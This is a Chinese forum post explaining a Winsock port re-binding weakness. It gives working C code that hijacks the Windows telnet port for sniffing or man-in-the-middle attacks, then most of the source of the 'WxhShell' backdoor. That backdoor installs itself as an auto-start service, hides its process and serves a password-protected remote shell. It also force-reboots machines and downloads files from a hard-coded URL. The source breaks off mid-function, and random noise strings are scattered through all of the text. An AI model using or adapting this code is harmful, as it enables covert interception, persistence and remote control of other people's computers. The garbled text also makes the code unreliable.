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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^(+ X|t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z "mqH  
6!39t  
  saddr.sin_family = AF_INET; NUO#[7OK+x  
Wi U-syNh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =EJ8J;y_f  
h(~@ n d{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wH?]kV8Q  
aB_~V h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2ezk<R5q+  
nYsB^Nr6  
  这意味着什么?意味着可以进行如下的攻击: /Fr*k5I  
Ez1-Nx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ylGT9G19  
?^3Y+)}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KPi_<LuK  
?4`f@=}'K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #]rfKHW9  
G;ihm$Cad  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QLm#7ms*y  
,+P2B%2c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'G1~ A +  
R$Rub/b6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;No i H&  
7|@FN7]5NF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K ' ?`'7  
_^Z v[P  
  #include  2S  
  #include 7+NBcZuG9  
  #include awU! 3)B  
  #include    (^HU|   
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~XeWN^l(Ov  
  int main() u+;iR/  
  { 2tw3 =)  
  WORD wVersionRequested; ,Gi%D3lA  
  DWORD ret; \? n<UsI  
  WSADATA wsaData; 9oj#5Hq  
  BOOL val; n-he|u  
  SOCKADDR_IN saddr; \b;z$P\+*  
  SOCKADDR_IN scaddr; pP-L{bT  
  int err; (VM.]B<  
  SOCKET s; G_QV'zQ  
  SOCKET sc; ,Mr_F^|  
  int caddsize;  .: Zw6  
  HANDLE mt; lyS`X  
  DWORD tid;   2RU/oqmR  
  wVersionRequested = MAKEWORD( 2, 2 ); ~v@.YJoZ4Z  
  err = WSAStartup( wVersionRequested, &wsaData ); wzj :PS  
  if ( err != 0 ) { HIq e~Vc  
  printf("error!WSAStartup failed!\n"); FrsXLUY  
  return -1; &c^tJ-s  
  } *snY|hF  
  saddr.sin_family = AF_INET; %$<v:eMAs  
   XI '.L ~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wh)>E!~ 9  
%oOSmt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v t_lM  
  saddr.sin_port = htons(23); {,=U]^A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,7I    
  { "]bOpk T  
  printf("error!socket failed!\n"); oe*fgk/o9  
  return -1; >~l^E!<i-u  
  } #[&9~za'"m  
  val = TRUE; (kVxa8 0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kr\#CW0?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bdcs}Ga  
  { Q5&|1m Pb  
  printf("error!setsockopt failed!\n"); ctoh&5%!n+  
  return -1; Ub{7Xk n  
  } |fB/hs \  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l h?[wc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6`@6k2]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5FVmk5z]d  
q:1n=i Ei  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8]i7 wq#=  
  { v*kX?J#]5  
  ret=GetLastError(); nKmf#  
  printf("error!bind failed!\n"); L=@8Z i!2<  
  return -1; M4n0GWHLy  
  } Cb6K!5[q]  
  listen(s,2); * qJHoP;  
  while(1) K1=j7  
  { ?L|Ai\|  
  caddsize = sizeof(scaddr); 0Q~\1D 9g  
  //接受连接请求 X"V)oC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q8)w Al  
  if(sc!=INVALID_SOCKET) o]eG+i6g]  
  { Jsa;pG=3&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :(K JLa]  
  if(mt==NULL) 3T /_#=9TV  
  { ,T-xuNYC  
  printf("Thread Creat Failed!\n"); 6s t^-L  
  break; Us\Nmso z  
  } N[I ?x5:u  
  } w5vzj%6i  
  CloseHandle(mt); 1XpqnyL&  
  } H~?7 : K  
  closesocket(s); y[/:?O}g4  
  WSACleanup(); <OrQbrWQa  
  return 0; dt Br#Te  
  }   fRwr}n'  
  DWORD WINAPI ClientThread(LPVOID lpParam) XaaR>HljJ  
  { q#F+^)DD [  
  SOCKET ss = (SOCKET)lpParam; hT% >)71  
  SOCKET sc; ~wu\j][2  
  unsigned char buf[4096]; yuhY )T  
  SOCKADDR_IN saddr; xJin %:O  
  long num; <r)5jf  
  DWORD val; Zul@aS !  
  DWORD ret; gX`C76P!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {*"\6 8e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N"7BV  
  saddr.sin_family = AF_INET; Q]]M;(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /GF"D5  
  saddr.sin_port = htons(23); %Q=rm!Syv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z%nplG'~|  
  { KuF>2KX~Y  
  printf("error!socket failed!\n"); <Wd_m?z  
  return -1; &{bNa:@  
  } (/S6b  
  val = 100; 9 RC:-d;;_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {]iM5?  
  {  zj$Ve  
  ret = GetLastError(); I/zI\PP,  
  return -1; ~lbm^S}-  
  } R ^"*ut  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sRQ4pnnrn  
  { +.v+Opp,  
  ret = GetLastError(); F5H]$AjW  
  return -1; Q6p75$SVq  
  } R8Dn GR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A~;.9{6J[t  
  { +E+I.}sOB  
  printf("error!socket connect failed!\n"); ([A%>u>h  
  closesocket(sc); yQq|!'MKk  
  closesocket(ss); qykI[4  
  return -1; {>3w"(f7o  
  } Bw.?Me)mf|  
  while(1) D7Ds*X`!l  
  { eI@G B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P!!:p2fo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JHuA}f{2&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r@Xh8 r;  
  num = recv(ss,buf,4096,0); Jmu oYlf|  
  if(num>0) g@m__   
  send(sc,buf,num,0); L> rW S-  
  else if(num==0) +D?Re%HI  
  break; 6?-,@e  
  num = recv(sc,buf,4096,0); 0xV[C4E[6  
  if(num>0) ?SX0e(+}}  
  send(ss,buf,num,0); 1]aya(  
  else if(num==0) w ; PV &M  
  break; A QPzId*z  
  } 6Z-[-0o+g  
  closesocket(ss); ~2UmX'  
  closesocket(sc); UdFYG^i  
  return 0 ; k~]\kv=  
  } w69G6G(  
sh%%U  
0C717  
========================================================== rUmnv%qTS  
^ lG^.  
下边附上一个代码,,WXhSHELL _:Ov-HIR  
0Hr)h{!F"  
========================================================== 9abn6S(XpJ  
LufZ,  
#include "stdafx.h" OQ _wsAA  
$KmE9Se6,  
#include <stdio.h> nz`"f,  
#include <string.h> D[(T--LLT  
#include <windows.h> [ZETyM`  
#include <winsock2.h> (N{  
#include <winsvc.h> 2'WdH1UrBc  
#include <urlmon.h> )J&!>GP  
{#l@9r%  
#pragma comment (lib, "Ws2_32.lib") $]b&3_O$N8  
#pragma comment (lib, "urlmon.lib") CM+wkU ?,  
BgwZZ<B  
#define MAX_USER   100 // 最大客户端连接数 >H?~2O  
#define BUF_SOCK   200 // sock buffer tmC9p6%  
#define KEY_BUFF   255 // 输入 buffer &uJ7[m19z  
_LLE~nUK"/  
#define REBOOT     0   // 重启 yF1^/y!@  
#define SHUTDOWN   1   // 关机 |bmc6G[  
a;0$fRy  
#define DEF_PORT   5000 // 监听端口 @"`{Sh`Y$  
5O"wPsl  
#define REG_LEN     16   // 注册表键长度 uzLIllVX*  
#define SVC_LEN     80   // NT服务名长度 +e) RT<  
dYhLk2  
// 从dll定义API ]GPUL>7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q$2^m(?;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |)Sx"B)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yGPi9j{QXq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +,}CuF  
>V3pYRA   
// wxhshell配置信息 2 Xc,c*r  
struct WSCFG { i{ 2rQy+  
  int ws_port;         // 监听端口 ++0xa%:  
  char ws_passstr[REG_LEN]; // 口令 l7GLN1#m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?T:$:IHw  
  char ws_regname[REG_LEN]; // 注册表键名 O[#B906JB  
  char ws_svcname[REG_LEN]; // 服务名 <*&2b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3WF6bJN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _xXDvBU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jz$83TB-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bq` 0$c%hN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h>K%Ox R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LL=nMoS  
Jx= v6==7  
}; h2edA#bub  
6b#J!:?  
// default Wxhshell configuration 610hw376B  
struct WSCFG wscfg={DEF_PORT, oNBYJ]t  
    "xuhuanlingzhe", g/m%A2M&aH  
    1, ( j~trpe,  
    "Wxhshell", ]6EXaf#  
    "Wxhshell", 4kQL\Ld#E%  
            "WxhShell Service", >a1 ovKF  
    "Wrsky Windows CmdShell Service", AT,?dxP J  
    "Please Input Your Password: ", h3:dO|Z  
  1, |CjE }5Op>  
  "http://www.wrsky.com/wxhshell.exe",  W,)qE^+  
  "Wxhshell.exe" dKTUW<C  
    }; p uLQ_MNV  
as| MB (  
// 消息定义模块 `F1 ( v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;u: }rA)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SwPc<Z?P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 79Vp^GG7  
char *msg_ws_ext="\n\rExit."; z|>f*Z  
char *msg_ws_end="\n\rQuit."; ] Q\/si&  
char *msg_ws_boot="\n\rReboot..."; ?{I]!gI  
char *msg_ws_poff="\n\rShutdown..."; zbL6TP@=  
char *msg_ws_down="\n\rSave to "; H"> }y D  
kihO~<  
char *msg_ws_err="\n\rErr!"; kzLtI w&.  
char *msg_ws_ok="\n\rOK!"; % z:;t  
[ Lo}_v&  
char ExeFile[MAX_PATH]; [-Dl,P=  
int nUser = 0; t Sf`  
HANDLE handles[MAX_USER]; /h'b,iYVV  
int OsIsNt; VR9C< tMSi  
ua vv  
SERVICE_STATUS       serviceStatus; }nJG<rY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +EBoFeeIG  
:V#W y  
// 函数声明 x?|   
int Install(void); p#dpDjh  
int Uninstall(void); Wc)f:]7  
int DownloadFile(char *sURL, SOCKET wsh); +Ss|4O}'  
int Boot(int flag); W:16qbK  
void HideProc(void); `Z0#IeX=  
int GetOsVer(void); ,HdFE|  
int Wxhshell(SOCKET wsl); <C_FI` wk  
void TalkWithClient(void *cs); W=EvEx^?%  
int CmdShell(SOCKET sock); AyMMr_q  
int StartFromService(void); hol54)7$3:  
int StartWxhshell(LPSTR lpCmdLine); ii@O&g  
DOm5azO!>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TBYRY)~f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %%w]-`^h,  
3q.O^`y FU  
// 数据结构和表定义 L_YVe(dT  
SERVICE_TABLE_ENTRY DispatchTable[] = (9J,Qs[;  
{ cEd!t6Z  
{wscfg.ws_svcname, NTServiceMain}, Mb(aI!;A  
{NULL, NULL} N5=; PZub  
}; Gm.n@U p  
ryq95<lF  
// 自我安装 Y?z@)cL  
int Install(void) J$?*qZ(oO  
{ 8vcV-+x  
  char svExeFile[MAX_PATH]; {>c O&eiCt  
  HKEY key; `MtPua\_  
  strcpy(svExeFile,ExeFile); rE bC_<  
?q <"!U|e  
// 如果是win9x系统,修改注册表设为自启动 |mfQmFF  
if(!OsIsNt) { WoiK _Ud  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y3K9rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MD ,}-m  
  RegCloseKey(key); )[>b7K$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M"]~}*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  mq?5|`  
  RegCloseKey(key); 8JUUK(&Z  
  return 0; V(Ps6jR"BS  
    } rQbL86+  
  } 3~4e\xL  
} & ;+u.X  
else { 5B? >.4R  
HhaUC?JtSK  
// 如果是NT以上系统,安装为系统服务 i(JBBE"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5xi f0h-`  
if (schSCManager!=0) _e=R[  
{ tw]RH(g+#  
  SC_HANDLE schService = CreateService ?s("@dz_  
  ( d"|XN{  
  schSCManager, V>j6Juh  
  wscfg.ws_svcname, lV-7bZ  
  wscfg.ws_svcdisp, )dJaF#6j  
  SERVICE_ALL_ACCESS, }xHoitOD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~:f9,  
  SERVICE_AUTO_START, 31y=Ar""  
  SERVICE_ERROR_NORMAL, +!V*{<K  
  svExeFile, V$+xJ  m  
  NULL, fi%u]  
  NULL, 6v0^'}  
  NULL, OZ1+`4 v  
  NULL, RV|: mI  
  NULL s!09Pxc  
  ); ;PJWd|3  
  if (schService!=0) 0sRby!  
  { 4?X#d)L(  
  CloseServiceHandle(schService); $L.0$-je4  
  CloseServiceHandle(schSCManager); ZN|DR|c UY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qbkvwL9  
  strcat(svExeFile,wscfg.ws_svcname); |*7uF<ink6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a8-2:8Su  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t#~r'5va  
  RegCloseKey(key); !Ljs9 =UF  
  return 0; #:Di1I9<O7  
    } su(y*187A  
  } 5f7;pS<  
  CloseServiceHandle(schSCManager); jpqq>Hbg_  
} I;L $Nf{v  
} qu8i Jq  
REhXW_x  
return 1; 2"NRnCx *  
} LKG],1n-  
FK{ YRt  
// 自我卸载 3KfZI&g  
int Uninstall(void) -,et. *  
{ Wy,DA^\ef  
  HKEY key; "TKf" zc  
zGu(y@o  
if(!OsIsNt) { gqJ&Q t#f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %FQMB  
  RegDeleteValue(key,wscfg.ws_regname);  FZnkQ  
  RegCloseKey(key); O: sjf?z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YcGSZ0vQ  
  RegDeleteValue(key,wscfg.ws_regname); LGPy>,!  
  RegCloseKey(key); t(CdoE,6  
  return 0; 6z"fBF  
  } $GUSTV  
} l2=.;7 IV  
} 3~BL!e,  
else { &TSt/b/+W  
-[v:1\Vv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R5G~A{w0  
if (schSCManager!=0) Y*3qH]  
{ bmc1S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;'dw`)~jQ  
  if (schService!=0) X(1nAeQ  
  { GdR>S('  
  if(DeleteService(schService)!=0) { 9'Y~! vY  
  CloseServiceHandle(schService); FqQm *k_  
  CloseServiceHandle(schSCManager); /Yc!m$uCW  
  return 0; U}6'_ PRQ  
  } kYz)h  
  CloseServiceHandle(schService); X\hD 4r"  
  } '+Dn~8Y+9  
  CloseServiceHandle(schSCManager); FJv=5L  
} D*`|MzlQ  
} c}Y(Myd  
1okL]VrI  
return 1; abWmPi  
} rZe"*$e  
oGly|L>  
// 从指定url下载文件 ,y3o ,gl  
int DownloadFile(char *sURL, SOCKET wsh) 57)S"  
{ s7SW4ff1  
  HRESULT hr; $uawQf+S  
char seps[]= "/"; 8N!E`{W  
char *token; w]UYD;f  
char *file; Mvrc[s+o  
char myURL[MAX_PATH]; F^IYx~:  
char myFILE[MAX_PATH]; C!B2 .:ja  
-Uq I=#  
strcpy(myURL,sURL); +e%9P%[+  
  token=strtok(myURL,seps); Tm_AoZH  
  while(token!=NULL) sZPPS&KoP3  
  { RERum  
    file=token; zVZZdG~8  
  token=strtok(NULL,seps); Jj|HeZ1C f  
  } #wNksh/J^  
q*Yh_IT.I  
GetCurrentDirectory(MAX_PATH,myFILE); /P5w}n  
strcat(myFILE, "\\"); a =*(>=  
strcat(myFILE, file); NUEy0pLw  
  send(wsh,myFILE,strlen(myFILE),0); OTL=(k  
send(wsh,"...",3,0); -$?xR](f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z;GnQfYG  
  if(hr==S_OK) &iR>:=ks N  
return 0; 6/wAvPB$  
else CwTx7 ^qa  
return 1; ._~_OVU  
(X,Ua+{  
} za1MSR  
*|Q'?ty(x  
// 系统电源模块 e4yd n  
int Boot(int flag) .rD@Q{e50  
{ c\-5vw||b  
  HANDLE hToken; syA*!Up  
  TOKEN_PRIVILEGES tkp; CVo@zr$  
K\nN2y  
  if(OsIsNt) { *O#%hTYq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kUmrJBh$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \^iJv ~d  
    tkp.PrivilegeCount = 1; E08FUAth]#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "'4R _R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X~sl5?  
if(flag==REBOOT) { ,_r"=>?@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dZIAotHN:  
  return 0; gV):3mWC  
} :mX c|W3  
else { ~_QZiuq&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X_ne#ZPl  
  return 0; 36*"oD=@  
} dd@^e)VZB  
  } U>IllNd  
  else { *j?tcxq  
if(flag==REBOOT) { \acJ9N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fB:9:NX  
  return 0; 8E&}+DR?  
} 2xhwi.u  
else { Sf B+;i'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yew n  
  return 0; cNtGjLpx;  
} [pUw(KV2m  
} wV+ W(  
D!h8NZ;El  
return 1; B&Q\J>l9S  
} !lKO|Y  
%2f``48#  
// win9x进程隐藏模块 9JBPE  
void HideProc(void) (8TB*BhQ_  
{ 53J!iNnXT6  
WW{5[;LYiB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +(x^5~QX  
  if ( hKernel != NULL ) O%H_._#N`  
  { l9lBhltOH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #:s*)(Qn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [4"1TyW  
    FreeLibrary(hKernel); [mn@/qf  
  } AqB5B5}  
nBI?~hkP3  
return; "^F#oo%L  
} NeAkJG=<  
j2c -01}  
// 获取操作系统版本 S_/9eI~X  
int GetOsVer(void) <`i " 5`J  
{ 15+>W4v  
  OSVERSIONINFO winfo; 8W#/=Xh?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?:vp3f#  
  GetVersionEx(&winfo); 9un]}7^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z}.y ?#  
  return 1; j5,1`7\7B  
  else Umjt~K^Z  
  return 0; VR ^qwS/  
} f.JZ[+  
mE'y$5ZxY  
// 客户端句柄模块 ye:pGa w  
int Wxhshell(SOCKET wsl) /x,gdZPX  
{ e:fp8 k<  
  SOCKET wsh; cjAKc|NJ  
  struct sockaddr_in client; <`k\kZM  
  DWORD myID; Ni#!C:q  
{e\Pd!D?|  
  while(nUser<MAX_USER) lPx4=O  
{ /ts=DxCC;  
  int nSize=sizeof(client); 9]fhH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M(|Qvh{Q6  
  if(wsh==INVALID_SOCKET) return 1; v".q578 0B  
fftFNHP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JQ=i{9iJ  
if(handles[nUser]==0) _x&;Fa%  
  closesocket(wsh); %tul(Z~<1  
else [Oen{c9 A  
  nUser++; %KHO}gad1  
  } 8@]*X,umc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W^npzgDCo  
n|2`y?  
  return 0; Z>gxECi  
} `bT!_Ru  
Wt4ROj  
// 关闭 socket Gdmh#pv  
void CloseIt(SOCKET wsh) T6m#sVq  
{ C~4_Vc*  
closesocket(wsh); JBfDz0P  
nUser--; r8g4NsRVtv  
ExitThread(0); ;iR( Ir  
} tvXoF;Yq  
I$/*Pt];  
// 客户端请求句柄 ^]l^q'?>:  
void TalkWithClient(void *cs) PPk\W7G  
{ <~;;iM6  
:f%FM&b  
  SOCKET wsh=(SOCKET)cs; D X GClH  
  char pwd[SVC_LEN]; VN[C%C  
  char cmd[KEY_BUFF]; 59mNb:<  
char chr[1]; K~ ,| ~  
int i,j; ZycV?ob8}  
s3qWTdM  
  while (nUser < MAX_USER) { _Z?{&k  
@)PA9P |  
if(wscfg.ws_passstr) { 6(awO2{BP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N`XJA-DE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 56gpAc  
  //ZeroMemory(pwd,KEY_BUFF); mkgGX|k;  
      i=0; 6hDK;J J&  
  while(i<SVC_LEN) { b ?9c\-}  
i{[=N9U5o  
  // 设置超时 DTmv2X  
  fd_set FdRead; )*#Pp )Q  
  struct timeval TimeOut; H,,-;tN?  
  FD_ZERO(&FdRead); M2HO!btf  
  FD_SET(wsh,&FdRead); K*iy^}  
  TimeOut.tv_sec=8; ,<?iL~> %  
  TimeOut.tv_usec=0; 272j$T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L9tjH C]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }OY]mAv-B  
kwxb~~S}h(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dxqVZksg(9  
  pwd=chr[0]; @X`~r8&  
  if(chr[0]==0xd || chr[0]==0xa) { b3(pRg[Fp  
  pwd=0; BiGB<Jr  
  break; p@epl|IZp  
  } 50!/%  
  i++; w-2&6o<n-  
    } QZy+`  
z_%G{H+:l  
  // 如果是非法用户,关闭 socket we'<Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D|-^}I4  
} x._IP,vRx^  
Bz}Dgbb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fw>@:m_bK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !iKR~&UpAL  
u] C/RDTH  
while(1) { JQ{ g' cT  
,w~0U  
  ZeroMemory(cmd,KEY_BUFF); rM<lPMr1*  
Bvzu{B%  
      // 自动支持客户端 telnet标准   >55c{|"@L  
  j=0; _;mN1Te  
  while(j<KEY_BUFF) { ~wnTl[:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &gJKJ=7  
  cmd[j]=chr[0]; }~P%S(zB  
  if(chr[0]==0xa || chr[0]==0xd) { fDc>E+,  
  cmd[j]=0; [8*Ovd  
  break; '\%c"?  
  } V:F;Nq%+j  
  j++;  w0QN5?  
    } ' Cy^G;  
/lAB  
  // 下载文件  >)ZX  
  if(strstr(cmd,"http://")) { =`2nv0%2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CU =}]Y  
  if(DownloadFile(cmd,wsh)) P.*J'q 28  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nb(4"|8}  
  else RZ)sCR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B5J!&suX  
  } QS2J271E}  
  else { [?)=3Pp  
hW*2Le!I  
    switch(cmd[0]) { DO<eBq\O  
  VM{`CJ2  
  // 帮助 H+ra w/"  
  case '?': { \RN,i]c-g/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -1Y9-nn[m  
    break; PoMkFG6  
  } ps0wN%tA  
  // 安装 f`<j(.{9F  
  case 'i': { _3$@s{k-TI  
    if(Install()) x_1JQDE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*Qd]\fy  
    else tq=1C=h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dDH+`;$.  
    break; Li ,B,   
    } E_&Hje|J_[  
  // 卸载 ".L+gn}u-  
  case 'r': { 9fD4xkRS  
    if(Uninstall()) )/k0*:OMyO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0z?b5D;  
    else ^}; 4r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0?uX}8w  
    break; HE&,?vioy  
    } 70_T;K6  
  // 显示 wxhshell 所在路径 CCKg,v  
  case 'p': { WtI1h`Fo  
    char svExeFile[MAX_PATH]; H3{x; {.b  
    strcpy(svExeFile,"\n\r"); :QgC Zq  
      strcat(svExeFile,ExeFile); Mq) n=M  
        send(wsh,svExeFile,strlen(svExeFile),0); <B 5^  
    break; &_FNDJ>MCk  
    } ,2S <#p!  
  // 重启 /2^cty.BXw  
  case 'b': { hT6:7 _UD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *ggTTHy  
    if(Boot(REBOOT)) >(z{1'f{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .fcU&t  
    else { |Y3!Lix  
    closesocket(wsh); hZnT`!iFE^  
    ExitThread(0); -Nmf}`_  
    } KsYT3  
    break; zO{$kT\r&  
    } )6)|PzMQ'  
  // 关机 j)\&#g0u6  
  case 'd': { 7'FDI`e[  
